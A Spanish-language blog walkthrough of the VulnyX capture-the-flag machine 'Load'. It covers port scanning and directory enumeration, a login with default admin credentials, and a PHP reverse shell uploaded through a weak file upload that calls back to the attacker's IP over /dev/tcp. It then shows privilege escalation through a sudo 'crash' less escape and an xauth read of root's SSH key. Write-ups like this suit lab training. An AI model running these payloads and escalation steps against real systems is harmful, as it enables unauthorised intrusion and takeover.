cd ~/blog

~/writeups/vulnyx/02-load.md

02 - Load

easy Linux vulnyx 25-02-2024
Default admin credentialsUnrestricted File Upload (RCE)sudo crash (less escape) Privescsudo xauth file read
vulnyx.com

~1 min de lectura


Comenzamos con un escaneo general y uno específico de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.118
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.118
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-25 22:12 -03
Nmap scan report for 192.168.1.118
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/ritedev/
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds

Enumeramos directorios con gobuster y revisamos robots.txt, que revela /ritedev/:

 gobuster dir -u 192.168.1.118 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 10701]
/robots.txt           (Status: 200) [Size: 34]
...

 cat robots.txt
User-agent: *
Disallow: /ritedev/

Enumeramos esa ruta y encontramos un panel admin.php:

 gobuster dir -u 192.168.1.118/ritedev/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/files                (Status: 200) [Size: 6]
/admin.php            (Status: 200) [Size: 1103]
/cms                  (Status: 200) [Size: 4]

Entramos a admin.php con las credenciales por defecto admin:admin. La subida de archivos PHP tiene una validación deficiente, así que subimos una reverse shell:

 cat reverse.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

Nos ponemos a la escucha y accedemos al archivo subido:

 ncat -nlvp 1234
http://192.168.1.118/ritedev/files/reverse.php

Ya como www-data, iniciamos la escalada revisando los permisos sudo:

www-data@load:/var/www/html/ritedev/files$ sudo -l
sudo -l
Matching Defaults entries for www-data on load:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on load:
    (travis) NOPASSWD: /usr/bin/crash

Podemos ejecutar crash como travis. Al ejecutarlo con -h genera una "instancia de less", desde la cual podemos escapar a una shell. Antes preparamos una tty funcional:

www-data@load:/var/www/html/ritedev/files$ script /dev/null -c bash
www-data@load:/var/www/html/ritedev/files$ export TERM=xterm
www-data@load:/var/www/html/ritedev/files$ export SHELL=bash
www-data@load:/var/www/html/ritedev/files$ stty -a
www-data@load:/var/www/html/ritedev/files$ stty rows 50 cols 200

Ejecutamos el binario y escapamos a una shell de travis:

www-data@load:/var/www/html/ritedev/files$ sudo -u travis /usr/bin/crash -h
:!sh
$ whoami
travis

Obtenemos la primera flag. Revisamos los permisos sudo de travis:

travis@load:~$ sudo -l
Matching Defaults entries for travis on load:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User travis may run the following commands on load:
    (root) NOPASSWD: /usr/bin/xauth

Podemos ejecutar xauth como root. Su comando source lee un archivo, lo que usamos para volcar la clave id_rsa de root:

travis@load:~$ sudo xauth
xauth> ?
Commands:
        add       exit      extract   help      info      list
        merge     nextract  nlist     nmerge    quit      remove
        source    version   ?         generate
xauth> source /root/.ssh/id_rsa

Tras formatear la clave obtenida, nos conectamos como root:

-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

 ssh root@192.168.1.118 -i root_id_rsa
root@load:~#

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados